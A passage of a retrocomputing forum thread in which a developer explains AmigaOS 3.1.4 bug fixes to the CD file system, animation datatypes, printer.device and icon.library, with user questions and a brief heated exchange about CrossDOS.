There are also a couple of other tiny bugs here and there found during the review of the Os 4 code, so actually, overall code quality should have been improved - that, plus multithreading - should hopefully give you a rather stable and fast CD experience. It is actually more a "four file systems in one package" right now.

Just one word of warning: Do not expect CD audio to work on winUAE. It won't. The problem is that winUAE does not emulate MMC commands nor the CD-ROM TOC correctly, so no data comes through. That's not the fault of the CDFileSystem.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: QuikSanz on December 12, 2018, 03:20:53 AM
Not sure of the mechanism but what about CDDA?

Chris
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 12, 2018, 05:22:51 AM
Why do you assume I have not tried? I have tried. Lots. Did it work? Not really.
No, you haven't.

So you are calling me a liar?

Well, you also did not believe me regarding LoadModule not detecting CD32 correctly, did you...

Quote
DosTypes and support for partition mounting did not change in CrossDos. Not at all. It's this way since CrossDos shipped, and by that I mean "back in CBM days".

That means it is only compatible to _really_ old MSDOS FDISK ways of building the MBR and EBR... hm.

Quote
I'm just re-iterating what you should have in your manual with 3.1 in first place, and apparently, what people forgot. There is a reason why this is 3.1.4 and not 3.2.

Please point me to the page in the OS 3.1 manual that speaks of this - I have them all, even searchable online, and I only find vague references to mounting Syquest cartridges as "D:".

http://amiga.nvg.org/amiga/reference/AmigaOS3.5_Manual/workbench/book-main122.html
http://amiga.nvg.org/amiga/amigafaq/AmigaFAQ_65.html

And "the official manuals" are no better...
https://wiki.amigaos.net/wiki/AmigaOS_Manual:_Workbench_CrossDOS

I have "Das Buch" here somewhere, maybe it is mentioned in that one?

JanusTools comes with some funny info... "CrossDos will not work with the 0x4D534800 DOSType" (http://aminet.net/package/docs/help/CDJanusTools)

Quote
So the partition assignment to letters is *not* changed, the dos types are *not changed*. And please, don't tell me it is particularly hard to adjust the dos type to the types I provided, and change the name of the icon (potentially) to the naming rules I provided. Despite this being all "old news".

Old news, yet...
Quote
CrossDos is also pretty much new, at least many major parts have been exchanged
So what to think. What has really changed and what has not, how does this relate to the official "professional" CrossDOS 7.x Gold etc.

And how do one know in the first place...
Quote
Use the manual from 3.1. Really.
Well, I do have the manuals, all of them, and they are also available online, in multiple languages... searchable.

https://archive.org/details/Amiga_OS_3.1_DOS_1993_Commodore_DE/page/n13?q=CrossDOSFileSystem

If someone could point me to the correct manual and what page that speaks in detail of how CrossDOSFileSystem deals with extended partitions? No?

Well, since documentation is so... intangible... and "nothing at all" has changed, looking at sources can reveal what the problem is.
Quote
*   If DOSType = "ID_MSDOS_DISK_HD", expect a valid FDISK-type
*   hard disk partition table.  It will then parse the partition
*   table to find the desired partition.  It handles MSDOS 3.0
*   primary and extended partitions.  New types of MSDOS partitions
*   4.0 and beyond can be supported if the veil of secrecy is removed
*   from this generally proprietry information.

So then, CrossDOS simply cannot replace FAT95 in many cases, as it simply does not know jack about "modern" incarnations of MBR/EBR.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 12, 2018, 08:13:34 AM
Not sure of the mechanism but what about CDDA?

CDDA is access to digital audio tracks. Yes, you do have that. They appear as ordinary files on the desktop.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 12, 2018, 08:16:06 AM
Why do you assume I have not tried? I have tried. Lots. Did it work? Not really.
No, you haven't.

So you are calling me a liar?
If you want to put it that way, yes, I am. You are lying about your intentions, which is complaining, not seeking help for solving problems. I'm happy to help people to sort out particular problems they have, I am not willing to listen to complaints for the matter of complaining. Go away.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Tygre on December 12, 2018, 01:32:05 PM
Why do you assume I have not tried? I have tried. Lots. Did it work? Not really.
No, you haven't.

So you are calling me a liar?

I don't know and I don't care about that. Kolla, please create a thread dedicated to your questions about CrossDOS and related. There, anyone who can will certainly help you. Again, this thread is about "Os 3.1.4 - List of bug fixes and changes by component": not about Hyperion support, not about using CrossDOS, etc.

Thanks for your understanding.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 13, 2018, 11:22:30 AM
Maybe a bit more in-depth information on one of the datatypes, the animation.datatype and anim.datatype. Actually, they sound related, but their job is a bit different. The animation.datatype is the generic base to play animations, in the same way as the picture.datatype shows pictures. The anim.datatype is specifically there for interpreting IFF ANIM files, and therefore related to the ILBM datatype, which are IFF pictures. Besides ANIM, the only other datatype "on top" of the animation.datatype is the CDXL.datatype, which plays very simple animations, small movie clips more than video (given the resolution and bitdepth Amigas can handle).

Animation was one of the things we debugged for too long, the ratio between bugs and actual code was... quite surprising, to put it mildy. First, you need to understand how this thing works: Animation launches two tasks, one that continuously pulls data from disk and puts it into a ring buffer - via the ANIM.datatype or anything else that reads files that represent video - and a second task that plays the frames. Problem with the 3.1 version is that there is absolutely no synchronization: Both task access the same data structures, without even using a semaphore. Clear enough, this cannot work. When one task accesses a data structure while the other is modifying it, you are calling for problems.

Olaf had this fixed for 3.9, so there are now semaphores for the ring buffer. Unfortunately, the problems did not stop there, so the 3.9 version is not working very well at all. One of the anoyances was that decoding of frames worked when playing forward, but - due to the dependencies between frames in the ANIM format ("P-frames" as one would call them) you could not reliably seek backwards. You were often left with junk on the screen because the decoder used the wrong reference. Which was fixed, of course.

A second interesting effect was that most anims played with two frames too much. This is one of the "features" of IFF ANIM, namely that the last two frames reconstruct to images that are identical to the first two - the reason for this is that DPaint wants to enable players to play the anims in a loop, without having to go through a full decode of the first two frames ("I-frames"). So the last two frames are predictive frames that go back to the initial two frames. There are two frames, not one, because ANIM uses a front-buffer (shown on the screen) and a back-buffer (in which data is computed), and swaps between them for every frame. Which was exactly the problem why seeking backwards did not work reliably.

Then we have screen modes that may turn out to be a problem: For example, HAM8 can not be played "as is" on an OCS/ECS machine. It could be played if colors are quantized down to a retricted palette, and it could be even played in original quality if RTG graphics would be available. Only that the datatype did not attempt any of that. This also changed, and we got for a couple of additional cases custom "renderers" that reduce the quality to be able to display the animation on the workbench, or on an RTG screen. Previously, the datatype would only show an error requester.

Synchronization between the two threads (loader and renderer) was also a bit... strange. One would typically do that with message parsing: "I'm ready to take four frames, preload them from disk", and so on. This natural Amiga communication protocol was apparently too much - instead, the datatype uses about four signals, depending on what the loader should do (load, stop abort, preload, exit...). Unfortunately, if the player is busy, and does not require any extra frames, the loader... just busy-waits and burns CPU time the renderer could use for showing frames.

Needless to say, I stopped this and I'm halting the loader task now if it has nothing to load, so the datatype is no longer a CPU hog. You saw this problem on 3.1 and on 3.9 even that the scroll-bar was quite "quirky" to use - it sometimes did not react, the mouse pointer was frozen, just because the CPU was locked on the player thread and the input.device (responsible for moving the pointer) did not get the CPU until the player released a critical semaphore of intuition, because it was busy waiting for the loader, and the loader was busy... doing nothing. Great job, folks.

Since the animation.datatype was written by the same guy as the sound.datatype, similar problems continued there..., but more on this later.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 19, 2018, 01:47:26 PM
Quite a while ago, I already reported on the printer.device, and that it was the most nerve-wrecking experience we had with 3.1.4. So far, I always believed that graphics is bad, but despite it smaller size, printer made more trouble, for multiple reasons.

First, there is the Os 3.1 printer device and the new development from H&P for 3.9. Unfortunately, we do not have the 3.9 version, so this was not an option. The 3.0 version was not an option either as it does not support printing of RTG graphics - it has no clue about it. Then, there is the V58 or so version from Os 4.x, but this was not an option either because it was full of constructions that are only supported and meaningful in 4.x, such as library base access.

Hence, no good options for development. We settled for an intermediate version which was before the integration of many Os-4 specific constructions, but branched off from the V40 version from 3.1. It turned out that this wasn't a good option either, but the best we had.

The first problem we noticed was that buffer management was broken. Actually, broken in similar ways than in the 3.9 version. If you had an old slow pin-printer, you may have noticed strange artifacts at the left of the page. This happens because the printer driver renders into the output buffer while the printer is printing it, and as old parallel printers are relatively slow, the printer isn't ready before the line buffer is touched again, so 3.9 was actually unusable with anything with a slow parallel interface.

Another gymmick of the 3.9 version was that it supports multiple printers. This was re-implemented in the Os 4.x variant, and we had it. But it had the bad side-effect that whenever you opened the printer device, it would re-load the printer driver from disk. This is probably not much of an issue with harddisk users as of today, but it is clearly an anoyance if you want to print from floppy as it causes a "please insert ... in any drive", everytime you want to print. Our printer device is now smarter and buffers drivers.

Unfortunately, more issues in printer drivers remained: They all have an initialization code that opens core libraries and returns a failure code in case initialization failed. Though the printer.device never checked... so if initialization failed, the printer.device would fall over. Unfortunately, someone (ehem, Olaf) must have mis-read the documentation when implementing the HP printer drivers for 3.9. Instead of an error code and 0 for sucess, they return 1 for OK and 0 for error, quite the reverse of what is needed. This was never noticed in 3.9 because there was never any check, but for V45, there is a check and hence printer drivers from 3.9 just do not work in 3.1.4. However, we updated all of them, and the 3.1 drivers are ok in this respect. Just do not use the 3.9 drivers.

Then, Floyd-Steinberg dithering did not work as it required a larger buffer than it allocated, and then left artifacts on the right hand side of the page, at least for low resolutions. This kind of thing happens if you never attempted to print with a old-style needle printer with a stunning resolution of 90dpi. Ok, so this was noticed by our beta-team (thanks!) and hence fixed as well.

In 3.1 and 3.9, the printer.device checks for out of paper and offline conditions, but in 3.1, you could never abort printing. Yes, there was a nag requester "Printer is out of paper...", but if you attempted to abort printing, it just came back. The error was never propagated "upwards" in the code, and the only thing you could do is either insert paper - or reboot the machine. Even worse, it checked the parallel port pins just the wrong way around and hence always reported the wrong error. "Out of paper" if the printer was offline, and "offline" if the printer was out of paper. The Os 4 version also has this inverted, and while Olaf invested quite some time to make the printer abort printing, it was neither completely succesful. Just going through all the layers of the software, and checking consistently for abortion conditions is quite a hassle.

So my tests with my antique Nec P6 seem to be succesful in so far as that aborting a print now really aborts it. This is a bit touchy - you cannot simply "pull the rug" in the middle of an ESC-sequence which prints a dot graphic because if you want to continue printing later, the new commands would then be understood as part of the ESC-sequence graphics that was unfinished and part of the aborted first printer job. Apparently, Olaf missed this - you cannot just abort printing "anytime", you can only abort after the end of a control sequence.

Printing with hp printer drivers turned out also to be a hassle, even though we had updated sources, thankfully provided by Olaf who also wrote them for 3.9. Whenever we tried, graphics came out just garbled. It took a while until we found the reason: There was a silent interface change from 3.1 to Os 4.x how graphics is exchanged between the printer.device and its drivers. In 3.1 and below, the expansion of graphics (i.e. magnification to the printer resolution) is half done by the printer.device and the driver. What the driver receives is a "run-length" compressed version of the low-resolution graphics and the run sizes, i.e. two arrays: The graphics data, and the expansion factors for each pixel. For Os 4.x, the expansion factors are always 1, and the graphics is expanded by the printer.device. This allows to use old printer drivers with the new printer.device, but not using new printer drivers that do not handle expansion with the old V40 code of the printer.device we had. Hence, I also updated the hp drivers from Olaf to support the type of runlength coding used in the 3.1 world.

Then, we had similar bugs for downscaling graphics instead of upscaling graphics. If you downscale in x direction by a factor of sx, and in y direction by a factor of sy, the printer.device uses a rather naive "box filter" for the downscaling, i.e. it sums up all pixel values in boxes of size sx times sy, and then divides by the box size. Or rather, it should. In fact, it divided by sx+sy instead of sx*sy, which does, of course, just give nonsense. Strangely, nobody noticed before.

All this averaging and downscaling has several implications on HAM graphics as well: Here, the printer.device has to emulate the custom chip hardware and has to "hold and modify" pixel values itself. This is all simple if you just have single pixels, but if you also have to take averages over pixels for downscaling, things can go wrong - and did go wrong. So HAM printing was broken in V40, and probably is still broken in Os 4.x (not that these machines have HAM in first place).

The printer.device also supports  a primitive form of "color correction" that, essentially, attempts to adjust between the different gamma exponents of screen and printer, and the different color densities. It's all a bit naive, but whatever... it should work, which it did not if downscaling was involved. Actually, the way how it works is that it modifies the palette before printing the image, hence - it  does still not work with true color graphics or HAM, both of which do not have a palette. Speaking of true-color images, printing these images sideways was broken, too, and just generated nonsense.

So, this was really an extremely bug-ridden piece of code, and I believe there was not a single source file that remained untouched. It should be fairly ok now.

More words of warning: As already said, do not use the Os 3.9 printer drivers. They simply won't work as their initialization code returns the error indicator just the wrong way around. Use the 3.1.4 supplied drivers, which were all refactored - not only the hp drivers, also the Epson and NEC drivers were updated and cleaned up and tested. (Guess who has a NEC?). In worst case, use the Os 3.1 driver, or send me a line if you want it updated and are willing to help testing. However, they should continue to work unchanged.

A second (not-) change is the preferences system. Os 3.1.4 uses the Os 3.1 preferences system, which means that there are separate preferences files for the printer and the printer graphics configuration as these are two different preferences programs. In 3.9, this moved all to a single program and a single file. While the printer.device of 3.1.4 supports and reads the 3.9 preferences files just fine (it is just another IFF dialect) the 3.1 settings from the second preferences file override the 3.9 settings. So, either use the 3.1.4 preferences program consistently, or delete the printer preferences in ENVARC: and only use the 3.9 preferences program. Both works, but do not mix. In case of doubt, delete the printer preferences from ENVARC: and create new ones, this will work.

A feature we do not have is the printer preferences preview. This was added in the 3.9 printer.device -namely to generate a preview using the latest settings - but documentation how to do that is missing. Hence, no preview for 3.9 preferences. As soon as we find out, we may add it.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 19, 2018, 06:22:45 PM
The post was long enough, but I still forgot something...

Laserjet printer drivers... The laserjets, and actually most modern printers are page-printers, not line printers. That is, they receive an entire page, and then print it once it is complete, unlike the old-style needle-printers that printed graphics line by line as it comes in.

This has an impact on how the printer drivers work, and this may be a bit confusing at first: Whenever the printer driver closes down, it has to eject a form feed as otherwise nothing is printed at all. Hence, if you redirect several commands to PRT: such as
Code: [Select]
list >PRT:
dir >PRT:
the output of list and dir will appear on separate pages for the laserjet and deskjet printers simply because the shell closes the redirection file after each command.
The alternative would have been not to print the form feed, but this would mean that you probably do not get *any* output at all until you run a command that prints a form feed, manually.

I decided against this. This is error prone, and even worse, "service prone". Consider the bug reports  on "my printer does not work" if there is no output, even though there is clearly a redirectio to PRT: in the shell. It is one of the decisions "you cannot simply do it right".

There is a second strange "gotcha" in the printer drivers for the HP printers, and this is due to PPaint (Cloanto, do you read?). This program tries to outsmart the printer driver to allow borderless printing on some printers, at least. For this, it first reconfigures the page size to "wide tractor", no matter what the user configured as page size, and then computes the page limits manually, and prints "white" in those page areas that are, according to PPaint's computation, within the printable area.

Now, there is no "wide tractor" paper option for the HP printers. Only A3 and A4, US Letter and US Legal. So the hp drivers have to "outsmart" PPaint and emulate such a page. Of course, the printer cannot print on wide tractor settings, but at least it can return the page defintions such paper would have would it fit into the printer, and this is good enough to make PPaint happy and let it indicate and let you choose the correct page size.

So, in case you wonder: There is a wide tractor setting in the printer preferences for the HPs, but simply do not use. It's a dummy, just to keep some programs happy.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Dynamic_Computing on December 21, 2018, 05:25:49 AM
On the topic of printer drivers - I use NETPAR that replaces the parallel.device to print to a network printer. It seems to work fine with my 3.1.4 installation. Should there be any problems using it? Are all of the changes in the printer drivers and not the parallel.device?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 21, 2018, 01:00:32 PM
No, no worries. There is no interface change from the printer.device to its backend printers. Actually, there is not even a need for a replacement parallel.device for network printing as the printer.device supports printing to any other device (including netpar.device),
but unfortunately we currently do not have any GUI to change this setting.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: QuikSanz on December 21, 2018, 03:36:26 PM
@Thomas Richter,

What is the difference if any between the 3.14 ROM's and the 3.X ROM's from Cloanto?

Chris
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 21, 2018, 04:24:02 PM
Oh my... 3.1.4 is, despite its moderate name, a rework of the 3.1 operating system, including RAM components, not just the application of uncarefully applied binary patches hacked into the ROM.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: QuikSanz on December 21, 2018, 04:58:57 PM
Thank you,perfect. Now I just need to find some in stock, looks like everyone is a no stock :(.....
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: BozzerBigD on December 21, 2018, 05:23:42 PM
Quite a while ago, I already reported on the printer.device, and that it was the most nerve-wrecking experience we had with 3.1.4. So far, I always believed that graphics is bad, but despite it smaller size, printer made more trouble, for multiple reasons.

Wouldn't it be far easier just to buy out the TurboPrint source code and concentrate on new drivers for that superior system. You seem to think it is still important to support dot matrix printers in 2018 just because Workbench 3.1 did. I really am confused at bug fixes of pointless outdated parts of the operating system that no one interested in printing used past 1993 anyway!!
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Pgovotsos on December 21, 2018, 05:34:06 PM

Wouldn't it be far easier just to buy out the TurboPrint source code and concentrate on new drivers for that superior system. You seem to think it is still important to support dot matrix printers in 2018 just because Workbench 3.1 did. I really am confused at bug fixes of pointless outdated parts of the operating system that no one interested in printing used past 1993 anyway!!

Believe it or not but there are still uses for dot matrix printers. I have software we wrote in SuperBase for our business. They print on carbon paper. Sure I could rewrite it to print multiple pages on a laser printer but I couldn't be bothered. This works perfectly as it is. So, personally, I am glad for fixes like these.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Pgovotsos on December 21, 2018, 05:38:20 PM
Thank you,perfect. Now I just need to find some in stock, looks like everyone is a no stock :(.....

You can always burn your own or use a Deneb or Kickflash if you have one. You can put the Intuition.library in that you need also.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kamelito on December 21, 2018, 06:13:51 PM
Since development of 3.1.x restarted why don't Hyperion release Toolmaker (latest 1.19?) along with the upcoming SDK/NDK?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 21, 2018, 07:27:31 PM
Wouldn't it be far easier just to buy out the TurboPrint source code and concentrate on new drivers for that superior system.
Buy from whom? And pay with which money?

I really am confused at bug fixes of pointless outdated parts of the operating system that no one interested in printing used past 1993 anyway!!
Hey, my P6 still prints fine, and I want to continue to use it. It outlasted all printers I bought later. (-: But yes, hp printers using PCL and postscript printers are also supported.

Most "modern" printers besides postscript and PCL printers are GDI printers,meaning all rendering is done by Windows - documentation is not available.

Hence, at present, the three open printer languages: PCL (hp) EscP (epson, Nec) and postscript are all supported. Everything else you find today is proprietary Windows only.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: BozzerBigD on December 21, 2018, 09:59:56 PM
@Thomas Richter

Quote
Buy from whom? And pay with which money?

Buy from the owner: IrseeSoft.
Buy it with Hyperion's legal war-chest money. Better to spend it on that source code acquisition than lawyers IMHO.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Minuous on December 22, 2018, 03:22:43 AM
This is by default on the workbench, but not on custom screens, but every constom screen can request it by a flag or a tag.

SA_OffScreenDragging (SA_Dummy + 0x2A) like on OS4?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 22, 2018, 09:25:35 AM
SA_OffScreenDragging (SA_Dummy + 0x2A) like on OS4?
Precisely.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on January 15, 2019, 06:46:39 AM
I didn't  update this thread for a while due to lack of time, and maybe I forgot one thing and another. So here is another tiny change that will make live hopefully easier: The icon.library.

This is a version derived from the 3.9 version, but with two small changes. For 3.9, the icon.library allowed to configure the "maximum file name size" so it knew where to cut off names in case a ".info" for the icon has to be attached. This feature is gone.

Why?

Well, actually, it is no longer required, and it was a bad idea. It is a bad idea because the user can hardly know how long the file names are allowed to grow, and even worse, this maximum size depends on the file system the icon.library is working with, so it cannot be "correct" for all combinations. If you had an (old) CrossDOS version in the system, then the file name limit would be "8" (the .info is mapped to .INF by the 3.1 version of CrossDos). You surely don't want to set this limit to 8 just to be able to use CrossDos.

So, new rules apply. The icon.library does not limit the file name size at all. Instead, it now always checks whether it could create icons correctly under the name you gave them, and it checks before writing a .info file whether this file name possibly conflicts with somthing that is already on disk - conflicts because the file name of the icon and the file name of something else become identical after truncating to the maximal length. And this truncation is the job of the file system.

So what is the "maximum file name size" in the workbench dialog good for? It is really only cosmetic. The only thing this does is that it limits the maximum size the input dialogs of the workbench take, nothing more. If a program attempts to create a longer file name, that's all good, all provided the icon.library can create such a file and the file is different from the base (i.e. non-icon) file.

When renaming files, the workbench has a heuristic how to truncate file names for the "Copy_Of_" renaming of files. It also tests whether it can create a unique name by prepending "Copy_Of_", and since it cannot test all possible lengths of file names, it checks for some typical maximal file names. 30 characters for DOS\1 through DOS\5, 54 characters for DOS\8 and 106 characters for DOS\6 and DOS\7.

So no need to fiddle with the maximal file name size at all - it's all automatic.

Another change is this "put icons to fast" setting of Os 3.9. That's also gone for good. Again, because the user cannot know whether the graphics system of the screen the workbench is running on supports this option, as it may depend on the screen mode as well. It is an unwise idea to delegate a decision to a user for something the user, in general, cannot know, so the switch went away. Instead, the workbench runs a small test when opening (or re-opening) its screen whether icons can be put into fast memory - and if so - it simply does it. No need to configure anything, it's automatic.

Finally, how do you move icons to fast memory? Well, for graphics cards, this is what happens already automatically. For native systems, I *do not* recommend FBlit as this program is known to cause multiple problems as its patch set is incomplete and has defects. There are two options: Either, you run the native (AGA) driver of Cybergraphics, or you run the native driver of P96.

There is a P96 driver for the ECS/AGA chipset? Yes, there is. Check Aminet. A relatively recent P96 version is sufficient. With P96 and this "driver" installed, icons will go to fast memory.
Frankly, it's not much of a driver, but it does exactly what you want it to do.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: utri007 on January 15, 2019, 12:38:51 PM
For everyone, FBlit sources :

https://github.com/SamuraiCrow/fblit

FBlit is a hack, but it benefits are so visible that many of us uses it. With 68040 cpu and correctly configured FBLit you wil get smooth scrolling hires interlaced screens. 640x512(400)

So playing Napalm in hires interlaced screen is possible without jerky scrolling.

As genrally FBLit is easy to install, if you got problem 99% is that you didn't copy configuration file to right place.

 
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: utri007 on January 15, 2019, 10:58:33 PM
Picasso 96 AGA native mode driver tested. I'm going to continue use it and forget FBLit.

Chip ram is saved equally and speed seems to be OK, tested Foundation and Napalm. Screen is scrolling, not a jumping around.

What would be preformance benefits of using this?



Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: utri007 on January 16, 2019, 11:02:26 AM
Would it be possible to make this liek a screen mode? If it is used all PAL screens, it seems to slow down games like Quake?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on January 16, 2019, 11:09:10 AM
Would it be possible to make this liek a screen mode? If it is used all PAL screens, it seems to slow down games like Quake?
Currently, no. But if you want to disable it for a particular application, you can do the following:
Code: [Select]
setenv Picasso96/DisableAmigaBlitter No
setenv Picasso96/PlanesToFast No
put that into a small shell script and run upfront the application. (Hoping that I got the spelling right).
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: H_Celine on January 24, 2019, 07:08:52 PM
I didn't  update this thread for a while due to lack of time, and maybe I forgot one thing and another. So here is another tiny change that will make live hopefully easier: The icon.library.

This is a version derived from the 3.9 version, but with two small changes. For 3.9, the icon.library allowed to configure the "maximum file name size" so it knew where to cut off names in case a ".info" for the icon has to be attached. This feature is gone.

Will the .h and .i files form NDK3.9 work against 3.14 icon library? If not, is the 3.1.4 updated files available somewhere?
So far I'm using NDK3.1 + Handler3.1.4Doc.lha + "exec/execbase(.h|.i)" from NDK3.9. Is this correct, given what is available?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on January 24, 2019, 09:11:53 PM
Will the .h and .i files form NDK3.9 work against 3.14 icon library?
That's right, they will. Nothing changed. Well, icon.library had an option to set the "maximum file size". That is gone. Icon.library knows better itself how long a file can grow, there is nothing the caller has to tell. There (still) is an option to set the icon memory type. That remained unchanged, but you do not want to set this yourself. Workbench knows better whether icons can go into fast ram or not, and you really really do not want to tell otherwise as side effects may include trashed memory (actually, that was a particular design problem of 3.9 - namely that the end user had to tell something he could barely know as non-expert).

So far I'm using NDK3.1 + Handler3.1.4Doc.lha + "exec/execbase(.h|.i)" from NDK3.9. Is this correct, given what is available?
That is correct, indeed. We are "a bit behind", and yes, there should really be a new set of includes & autodocs (not "that new", but - you get the point). But, at present, 3.1.4.1 has priority, and as soon as this is out of the door, I keep checking for the includes.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: H_Celine on January 24, 2019, 09:29:40 PM
One more question: How does newicon.library fit into this, or does it not? (I never used newicons, so I do not know how it used to work, but the codebase in question needs it.)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on January 25, 2019, 07:32:05 AM
One more question: How does newicon.library fit into this, or does it not? (I never used newicons, so I do not know how it used to work, but the codebase in question needs it.)
Frankly, I don't know. It's some third-party component I don't have and I don't use, and 3.1.4 does not require to operate. It does support more colorful icons out of the box.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: H_Celine on January 25, 2019, 08:55:17 AM
Reason I am asking is it was not 3rd party in 3.9, and the codebase in question was originally compiled against that version. And it seems version included with 3.9 does not like 3.1.4(not conclusive, still testing).

Edit: Also; the 3.1.4 Prefs/Workbench has a toggle for NewIcons.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on January 25, 2019, 09:34:11 AM
Reason I am asking is it was not 3rd party in 3.9,
This would surprise me. 3.9 certainly did not include something called "newicon.library". Its icon.library supports "newicons", and so does the 3.1.4.1 version as it is a later version of the 3.9 icon.library.

Edit: Also; the 3.1.4 Prefs/Workbench has a toggle for NewIcons.
Yes, but this does not require a new library for that. Neither did 3.9.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: H_Celine on January 25, 2019, 10:31:19 AM
Reason I am asking is it was not 3rd party in 3.9,
This would surprise me. 3.9 certainly did not include something called "newicon.library". Its icon.library supports "newicons", and so does the 3.1.4.1 version as it is a later version of the 3.9 icon.library.
I admit I have not dug out my original CD, but this is what the iso says:
Code: [Select]
6.AmigaOS3.9:OS-Version3.9/Workbench3.9/Libs> list
aml.library                63768 ----rwed 25-Dec-99 22:13:38
asl.library                58132 ----rwed 18-Nov-00 18:59:04
commodities.library         8460 ----rwed 16-Oct-00 21:18:20
datatypes.library          18752 ----rwed 25-Dec-99 22:00:18
diskfont.library           17200 ----rwed 16-Nov-00 22:25:54
hdwrench.library           37956 ----rwed 26-Nov-00 18:40:32
icon.library               45264 ----rwed 18-Aug-00 15:06:44
locale.library             18088 ----rwed 07-Nov-99 11:58:38
mathieeedoubbas.library     3612 ----rwed 23-Nov-00 22:42:44
mathieeedoubtrans.library    9088 ----rwed 23-Nov-00 22:42:44
mathieeesingtrans.library    6844 ----rwed 23-Nov-00 22:42:44
newicon.library             3588 ----rwed 27-Oct-00 13:09:22
rexxmathlib.library         5760 ----rwed 26-Oct-00 23:28:08
rexxsyslib.library         33404 ----rwed 26-Dec-99 10:45:24
version.library              352 ----rwed 14-Nov-00 15:52:02
vnc.library               123600 ----rwed 25-Nov-00 13:09:44
wizard.library            224240 ----rwed 24-Apr-00 09:53:34
workbench.library         199852 ----rwed 24-Nov-00 09:08:58
xad                          Dir ----rwed 28-Nov-00 11:49:36
xadmaster.library         105332 ----rwed 27-Nov-00 23:15:02
19 files - 1 directory - 513 blocks used
Edit: It also says version 45.0, a version I can not find anywhere else.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: First Ninja on January 25, 2019, 05:50:54 PM
Frankly, I don't know. It's some third-party component I don't have and I don't use, and 3.1.4 does not require to operate. It does support more colorful icons out of the box.

Wikipedia establishes (https://en.wikipedia.org/wiki/NewIcons#Features) that:

Quote
NewIcons are relatively large in file size compared to conventional Amiga icons or MagicWB icons. NewIcons are stored in 8-bit data even when only few colours were used. Image data is encoded in ASCII to application metadata [...]

[...]

The GlowIcons format, based on NewIcons file format, is the native icon format used in AmigaOS 3.5, 3.9 and 4.0 by Matt Chaput. The major difference to NewIcons is how image data is stored. NewIcons uses inefficient ASCII encoding embedded to the application Tool Type metadata. In GlowIcons system developers extended internal icon definition without need to resort to storing information as Tool Types.

Am I right assuming Workbench 3.1.4 can identify, parse and use the RGB color definition/image data encoded as ASCII in the Tool Types meta data (and that, accordingly, Workbench 3.1.4 can use NewIcons icon-files natively)? Does 3.1.4 natively support the GlowIcons extensions, too? Which one of the formats do those extra icons shipped with Release 3.1.4 use?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on January 25, 2019, 09:00:44 PM
Am I right assuming Workbench 3.1.4 can identify, parse and use the RGB color definition/image data encoded as ASCII in the Tool Types meta data (and that, accordingly, Workbench 3.1.4 can use NewIcons icon-files natively)?
Yes, this is correct, provided you enable support for it. It is not its native format, though. If the V45 icon.library wants to store deeper bitmaps, it just writes more bitmaps and indicates its number in the written image structure. The "NewIcons" definition was really only a workaround or a backwards-compatibility hack by the newicons.library for enabling more colorful icons without changing the legacy structure on disk.

Does 3.1.4 natively support the GlowIcons extensions, too? Which one of the formats do those extra icons shipped with Release 3.1.4 use?
I am not quite sure what you refer to as "GlowIcons extension", but given that 3.1.4 ships with a GlowIcons icon set, I would believe the answer should be "yes". (-:
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: chris on January 30, 2019, 05:49:08 PM
Reason I am asking is it was not 3rd party in 3.9, and the codebase in question was originally compiled against that version. And it seems version included with 3.9 does not like 3.1.4(not conclusive, still testing).

Edit: Also; the 3.1.4 Prefs/Workbench has a toggle for NewIcons.

I believe the 3.9 newicon.library was a stub/emulation for programs that used newicon.library directly.  You don't need it unless you have such an old program.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: H_Celine on January 30, 2019, 06:07:20 PM
Reason I am asking is it was not 3rd party in 3.9, and the codebase in question was originally compiled against that version. And it seems version included with 3.9 does not like 3.1.4(not conclusive, still testing).

Edit: Also; the 3.1.4 Prefs/Workbench has a toggle for NewIcons.

I believe the 3.9 newicon.library was a stub/emulation for programs that used newicon.library directly.  You don't need it unless you have such an old program.

That explains it, thank you.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on February 28, 2019, 02:34:21 PM
